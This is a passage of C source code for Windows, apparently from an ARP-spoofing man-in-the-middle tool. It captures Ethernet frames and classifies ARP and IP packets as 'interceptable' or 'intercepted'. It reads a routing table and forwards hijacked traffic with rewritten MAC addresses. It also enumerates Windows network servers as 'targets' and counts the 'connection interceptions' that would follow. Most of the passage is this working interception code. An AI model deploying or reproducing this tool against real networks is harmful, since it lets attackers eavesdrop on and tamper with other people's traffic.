	unsigned int		tlen1;
	/* for the function calls */
	struct ether_header		*ethh;
    struct iphdr		*iph;
    struct arphdr		*arph;


	if(PacketReceivePacket(lpAdapter,lpPacket,TRUE)==FALSE){
		printf("Error: PacketReceivePacket failed");
		return;
	}

	if ((!lpPacket)||((ulBytesReceived=lpPacket->ulBytesReceived)==0)) return;


	frptr = lpPacket->Buffer;
	off=0;
	
	while(off<ulBytesReceived){	
	
			cf=(struct bpf_hdr *)(frptr+off);
			tlen1=cf->bh_datalen;
			off+=cf->bh_hdrlen;

			rawframe =(char*)(frptr+off);
			off=Packet_WORDALIGN(off+tlen1);

			ethh=(struct ether_header *)rawframe;
			arph=(struct arphdr *)(rawframe+sizeof(struct ether_header));
			iph=(struct iphdr *)(rawframe+sizeof(struct ether_header));

			/* now, rawframe should contain the real packet */
			switch (identify_ethernet_frame(rawframe,cf->bh_caplen)) {
				case PKTYPE_UNKNOWN:	/* we don't know it */
					if (cfg.verbose>1) printf("received an unknown packet type\n");
					break;
				case PKTYPE_ARP_RESPONSE:
					if (cfg.verbose>1) printf("ARP response received\n");
					arp_add_entry(
						(struct ether_addr *)&(arph->__ar_sha),
						(struct in_addr *)&(arph->__ar_sip));
					break;
				case PKTYPE_ETHER_BCAST:
					if (cfg.verbose>1) printf("Ethernet broadcast received\n");
					break;
				case PKTYPE_IP_BCAST:
					if (cfg.verbose>1) printf("IP broadcast received\n");
					arp_add_entry(
						(struct ether_addr *)&(ethh->ether_shost),
						(struct in_addr *)&(iph->saddr));
					break;
			} // end of switch
	} // end of while loop, which processes the packets in one buffer
}


/* tries to identify an Ehternet frame
 * RETURNS one of PKTYPE_* */
int	identify_ethernet_frame(u_char *frame, int frame_length) {
    struct ether_header		*eth;
    struct iphdr		*ip;
    struct arphdr		*arp;
    u_char			eth_bcast[6]={0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};

    eth=(struct ether_header *)frame;

    if (ntohs(eth->ether_type)==ETHERTYPE_ARP) {

	/* it is an ARP packet */
	arp=(struct arphdr *)(frame+sizeof(struct ether_header));
	if (ntohs(arp->ar_op)==ARPOP_REQUEST) {
	    /* this is a request */

	    if (!memcmp(&(arp->__ar_sha),&(arps[0].eth),ETH_ALEN)) {
		/* it's me asking for ARP .. ups */
		return PKTYPE_ARP_THISHOST;
	    } else if (!memcmp(&(arp->__ar_sip),&(arp->__ar_tip),IP_ADDR_LEN)) {
		/* Windoze IP availability test */
		return PKTYPE_WINDOZE_IP_TEST;
	    } else {
		/* normal interceptable ARP request */
		return PKTYPE_ARP_REQUEST;
	    }
	} else if (ntohs(arp->ar_op)==ARPOP_REPLY) {
	    if (!memcmp(&(eth->ether_shost),&(arps[0].eth),ETH_ALEN)) {
		/* ARP response from tis host - guess it's a fake */
		return PKTYPE_ARP_FAKE;
	    } else {
		/* this is a response */
		return PKTYPE_ARP_RESPONSE;
	    }
	} else {
	    /* RARP not yet implemented */
	    printf("Unknown ARP operation\n");
	    return PKTYPE_UNKNOWN;
	}

    } else if (ntohs(eth->ether_type)==ETHERTYPE_IP) {

	/* at least it is IP */
	ip=(struct iphdr *)(frame+sizeof(struct ether_header));
	if (!memcmp(&(ip->daddr),&local_bcast,IP_ADDR_LEN)) {
	    /* it's a broadcast */
	    return PKTYPE_IP_BCAST;
	} else if (
		(!memcmp(&(ip->daddr),&(arps[0].ip),IP_ADDR_LEN)) 
		||(!memcmp(&(ip->saddr),&(arps[0].ip),IP_ADDR_LEN)) ) {
	    /* it's my host speeking on layer 3 */
	    return PKTYPE_IP_THISHOST;
	} else if (!(memcmp(&(eth->ether_shost),&(arps[0].eth),ETH_ALEN))) {
	    /* it's a packet send from me ... */
	    return PKTYPE_IP_THISHOST;
	} else if (
		(memcmp(eth->ether_dhost,&(arps[0].eth),ETH_ALEN))
		&&(memcmp(eth->ether_shost,&(arps[0].eth),ETH_ALEN)) ){
	    /* it's a normal IP packet not from or to me */
	    return PKTYPE_IP_ORIG;
	} else {
	    /* it must be an intercepted IP packet */
	    return PKTYPE_IP;
	}

    } else if (!memcmp(eth->ether_dhost,&eth_bcast,ETH_ALEN)) {
	/* some kind of ethernet broadcast - may be usefull */
	return PKTYPE_ETHER_BCAST;
    } else {
	/* this is strange */
	return PKTYPE_UNKNOWN;
    }
}


/* ROUTING RELATED */

/* routing_read_table(..) reads a routing table form the file supplied as
 * filename and stores this table in routes[..]
 * file format:
 * <network>D<netmask>D<gateway>\n
 * where D is the DELIMITER defined here
 * NOTE: entry 0 in routes[..] is filled in here (unlike the UN*X version)!

 * NOTE: When will windows coders learn what the hell a inet_ntoa is ???

 * RETURNS: 0 on success or -1 on error */
int	routing_read_table(char *filename) {
#define MAX_LINE_LENGTH	512
#define DELIMITER	' '
    FILE	*fd;
    char	*line,*lp,*lp2;		/* string manipulation pointer */
    int		loc_routc=0;		/* local routc variable */
	__int32	validation;			/* test for localnet route */
	__int32	bcast;


    if ((fd=fopen(filename,"rt"))==NULL) {
		fprintf(stderr,"Could not open routing file\n");
		return (-1);
    }

    line=(char *)smalloc(MAX_LINE_LENGTH);
    while (fgets(line,MAX_LINE_LENGTH-1,fd)!=NULL) {
		/* comment's are ignored */
		if (line[0]=='#') continue;

		if (loc_routc>=MAX_ROUTES) continue;

		/* get network address */
		if ((lp=strchr(line,DELIMITER))==NULL) {
			fprintf(stderr,"incomplete line in routing table file\n");
			return (-1);
		}
		lp[0]='\0'; lp++;
		routes[loc_routc].network=inet_addr(line);

		/* get the netmask */
		if ((lp2=strchr(lp,DELIMITER))==NULL) {
			fprintf(stderr,"incomplete line in routing table file\n");
			return (-1);
		}
		lp2[0]='\0'; lp2++;
		routes[loc_routc].netmask=inet_addr(lp);
		
		/* get gateway */
		routes[loc_routc].gateway.S_un.S_addr=inet_addr(lp2);
		
		memset(line,0,MAX_LINE_LENGTH);
		loc_routc++;
    }

    fclose(fd);
    routc=loc_routc;

	/* OK, let's check if the user had a look in the docu */
	memcpy(&validation,&(arps[0].ip),IP_ALEN);
	if ((validation&routes[0].netmask)!=routes[0].network) {
		fprintf(stderr,"Well, the FIRST entry in the routing"
			" table should reflect exactly the local net!\n");
		return (-1);
	}

	/* and, before returning, we set up the local_bcast */
	bcast=routes[0].network|(0xFFFFFFFF^routes[0].netmask);
	memcpy(&local_bcast,&bcast,IP_ALEN);

    return 0;
}


/* looks for a routing entry in the table and returns a pointer to
 * the gateway or NULL if local or unknown */
struct in_addr	*routing_find_gateway(struct in_addr *dip) {
    __int32			dnet;
    unsigned int	i;
    char			no_gw[4] = { 0,0,0,0 };

    memcpy(&dnet,dip,IP_ADDR_LEN);
    for (i=0;i<routc;i++) {
		if ((dnet & routes[i].netmask)==routes[i].network) {
			if (!memcmp(&(routes[i].gateway),&no_gw,IP_ADDR_LEN)) {
				/* no gateway - means local */
				return NULL;
			} else {
				return &(routes[i].gateway);
			}
		}
    }

    return NULL;
}


void	bridge_packet(u_char *frame, int frame_length) {
    struct ether_header		*eth;
    struct iphdr		*ip;
    struct in_addr		*gw;
    struct ether_addr		*ea;
    u_char			*sendbuf;

    ip=(struct iphdr *)(frame+sizeof(struct ether_header));

    if ((gw=routing_find_gateway(&(ip->daddr)))==NULL) {
		/* local packet or gateway unknown */
		if ((ea=arp_find_entry(&(ip->daddr)))==NULL) {
			/* hw addr unknown - send ARP request and drop this packet */
			arp_request(&(ip->daddr));
			return;
		} 
		/* hw addr known .. continue */
    } else {
		/* routed with gateway gw .. */
		if ((ea=arp_find_entry(gw))==NULL) {
		    /* hw addr of gateway unknown - request and drop */
		    arp_request(gw);
			return;
		}
		/* hw addr known ... continue */
    }

    if (cfg.verbose) {
		printf("-- bridge: %s",inet_ntoa(ip->daddr));
		printf(" to %02X:%02X:%02X:%02X:%02X:%02X\n",
			(unsigned __int8) ea->ether_addr_octet[0],
			(unsigned __int8) ea->ether_addr_octet[1],
			(unsigned __int8) ea->ether_addr_octet[2],
			(unsigned __int8) ea->ether_addr_octet[3],
			(unsigned __int8) ea->ether_addr_octet[4],
			(unsigned __int8) ea->ether_addr_octet[5]);
    }

    sendbuf=(u_char *)smalloc(frame_length);
    memcpy(sendbuf,frame,frame_length);
    eth=(struct ether_header *)sendbuf;
    /* replace ethernet frame destination address and send it out ! */
    memcpy(&(eth->ether_dhost),ea,ETH_ALEN);
    /* TEST: replace sender addr as well */
    memcpy(&(eth->ether_shost),&(arps[0].eth),ETH_ALEN);

    send_ethernet_frame(sendbuf,frame_length);

    if (cfg.verbose) {
		printf("-- bridged -- %s",inet_ntoa(ip->saddr));
		printf(" -> %s\n",inet_ntoa(ip->daddr));
    }

    GlobalFree(sendbuf);
}


/* Windows networking and target enumeration */

void AddWintarget(LPNETRESOURCE res) {
	target_t		*nw;			/* new entry in target list */
	char			*tstr;
	struct hostent	*hent;
	struct in_addr	temp;			/* for routing test */


	if (
		(res->dwDisplayType==RESOURCEDISPLAYTYPE_SERVER)
		&&(res->lpRemoteName!=NULL)
		&&(strlen(res->lpRemoteName)>2) ) {

		/* skip over these \\ */
		tstr=&(res->lpRemoteName[2]);


		/* OK, we got a server name, let's try to resolve it */
		if ((hent=gethostbyname(tstr))==NULL) {
			fprintf(stderr,"Arg! Could not resolve server %s. Not running IP?\n",tstr);
			return;
		}
		if (hent->h_addrtype!=PF_INET) {
			fprintf(stderr,"Host %s resolved to something strange\n",tstr);
			return;
		}

		/* check for myself */
		if (!memcmp(&(arps[0].ip),hent->h_addr_list[0],IP_ALEN))
			return;

		/* remove all enumerated servers, which are not part of our subnet 
		* NOTE: This can be improved, but it would require exact knowledge of the 
		*       Gateway used by local hosts. */
		memcpy(&temp,hent->h_addr_list[0],hent->h_length);
		if (routing_find_gateway(&temp)!=NULL) {
			if (cfg.verbose) 
				printf("Server %s is not part of our subnet.\n",tstr);

			return;
		}

		if (wintargets) {
			 nw=wintargets;
			 while (nw->next!=NULL) 
				 nw=nw->next;
			 nw->next=(target_t *)GlobalAlloc(GPTR,sizeof(target_t));
			 nw=nw->next;
		 } else {
			 wintargets=(target_t *)GlobalAlloc(GPTR,sizeof(target_t));
			 nw=wintargets;
		 }

		 nw->name=(char *)GlobalAlloc(GPTR,strlen(tstr));
		 strcpy(nw->name,tstr);
		 memcpy(&(nw->ip),hent->h_addr_list[0],hent->h_length);
			 
		 if (cfg.verbose)
			 printf("New remote server: %s (%s)\n",nw->name,inet_ntoa(nw->ip));
		 
	} // resource is server and is usefull

} 



/* This function is the recursive search for hosts in the windows network
   It is actually grabbed from VC4's online help - may be it's bullshit */
BOOL FAR PASCAL EnumerateFunc(LPNETRESOURCE lpnr) 
{ 
    DWORD dwResult, dwResultEnum; 
    HANDLE hEnum; 
    DWORD cbBuffer = 16384;	/* 16K is reasonable size                 */ 
    DWORD cEntries = 0xFFFFFFFF; /* enumerate all possible entries    */ 
    LPNETRESOURCE lpnrLocal;     /* pointer to enumerated structures  */ 
	DWORD i; 
	
 
    dwResult = WNetOpenEnum(RESOURCE_GLOBALNET, 
        RESOURCETYPE_ANY, 
        0,                 /* enumerate all resources                 */ 
        lpnr,              /* NULL first time this function is called */ 
        &hEnum);           /* handle to resource                      */ 
 
    if (dwResult != NO_ERROR) { return FALSE; } 
 
    do { 
 
        /* Allocate memory for NETRESOURCE structures. */ 
        lpnrLocal = (LPNETRESOURCE) GlobalAlloc(GPTR, cbBuffer); 
 
        dwResultEnum = WNetEnumResource(hEnum, /* resource handle     */ 
            &cEntries,               /* defined locally as 0xFFFFFFFF */ 
            lpnrLocal,               /* LPNETRESOURCE                 */ 
            &cbBuffer);              /* buffer size                   */ 
 
        if (dwResultEnum == NO_ERROR) { 
            for(i = 0; i < cEntries; i++) { 
                 if(RESOURCEUSAGE_CONTAINER == 
                        (lpnrLocal[i].dwUsage & RESOURCEUSAGE_CONTAINER)) {
					 /* it is a container - go recuresive */
					 EnumerateFunc(&lpnrLocal[i]);
				 } 
				 AddWintarget(&lpnrLocal[i]);
             } 
        } 
 
        else if (dwResultEnum != ERROR_NO_MORE_ITEMS) { 
            break; 
        } 
    } 
    while(dwResultEnum != ERROR_NO_MORE_ITEMS); 
 
    GlobalFree((HGLOBAL) lpnrLocal); 
 
    dwResult = WNetCloseEnum(hEnum); 
 
    if(dwResult != NO_ERROR) { return FALSE; } 
 
    return TRUE; 
} 


void PrintTestResults() {
	target_t	*t;
	unsigned int	l=0;

	printf("Windoze network shows the following targets:\n");
	t=wintargets;
	while (t) {
		printf("%s\t(%s)\n",t->name,inet_ntoa(t->ip));
		t=t->next;
		l++;
	}

	printf("This would result in %d connection interceptions\n",l*(l-1));
	exit(0);
}

 

/* misc */
void cleanup() {
	target_t	*t;

	arp_rehonnest();

	PacketFreePacket(lpPacket);
	PacketCloseAdapter(lpAdapter);

	while (wintargets) {
		t=wintargets;
		wintargets=wintargets->next;
		GlobalFree(t);
	}
	WSACleanup();
}


void usage(char *name) {
	printf("usage: %s [-v] [-n|-T] [-i <interface number>]\n",name);
	printf("Where:\n"
		"-v\tverbose (use more for more verbosity, e.g. -v -v -v)\n"
		"-n\tdon't enumerate Windoze network resources\n"
		"-T\tTestmode; just show the Windoze chicken\n"
		"-i\tinterface (the number you enter when starting without -i)\n");
	exit(1);
}


void print_tables(void) {
    
    struct in_addr		temp;		
    unsigned int		i;

    printf("Local host:\n"
	    "%20s (%02X:%02X:%02X:%02X:%02X:%02X) ",
	    inet_ntoa(arps[0].ip), 
	    (unsigned __int8) arps[0].eth.ether_addr_octet[0],
	    (unsigned __int8) arps[0].eth.ether_addr_octet[1],
	    (unsigned __int8) arps[0].eth.ether_addr_octet[2],
	    (unsigned __int8) arps[0].eth.ether_addr_octet[3],
	    (unsigned __int8) arps[0].eth.ether_addr_octet[4],
	    (unsigned __int8) arps[0].eth.ether_addr_octet[5]);
    printf("Broadcast: %s\n",inet_ntoa(local_bcast));

    printf("Routing table:\n%20s%20s%20s\n","Network","Netmask","Gateway");
    for (i=0;i<routc;i++) {
		memcpy(&temp,&routes[i].network,sizeof(__int32));
		printf("%20s",inet_ntoa(temp));
		memcpy(&temp,&routes[i].netmask,sizeof(__int32));
		printf("%20s",inet_ntoa(temp));
		printf("%20s\n",inet_ntoa(routes[i].gateway));
    }

    printf("ARP table:\n");
    for (i=0;i<arpc;i++) {
		printf("%20s",inet_ntoa(arps[i].ip));
		printf("   %02X:%02X:%02X:%02X:%02X:%02X\n",
			(unsigned __int8) arps[i].eth.ether_addr_octet[0],
			(unsigned __int8) arps[i].eth.ether_addr_octet[1],
			(unsigned __int8) arps[i].eth.ether_addr_octet[2],
			(unsigned __int8) arps[i].eth.ether_addr_octet[3],
			(unsigned __int8) arps[i].eth.ether_addr_octet[4],
			(unsigned __int8) arps[i].eth.ether_addr_octet[5]);
    }

    printf("Refresh table:\n");
    for (i=0;i<refc;i++) {
		printf("%20s",inet_ntoa(refs[i].requester_ip));
		printf("   with me as %20s\n",inet_ntoa(refs[i].requested_ip));
    }
}


/* MAC address problem :

  Here is how the WinNT DDK suggests to read the MAC addr, just in 
  case you don't want to use NetBIOS:

  OidCode = OID_GEN_MEDIA_CONNECT_STATUS;
        if (DeviceIoControl(
                hMAC,
                IOCTL_NDIS_QUERY_GLOBAL_STATS,
                &OidCode,
                sizeof(OidCode),
                OidData,
                sizeof(OidData),
                &ReturnedCount,
                NULL
                ))
        {
           printf("ReturnedCount: %d\n", ReturnedCount);
           printf("status = %02.2X-%02.2X-%02.2X-%02.2X\n",
                    OidData[0], OidData[1], OidData[2], OidData[3]
                    );
        }
*/

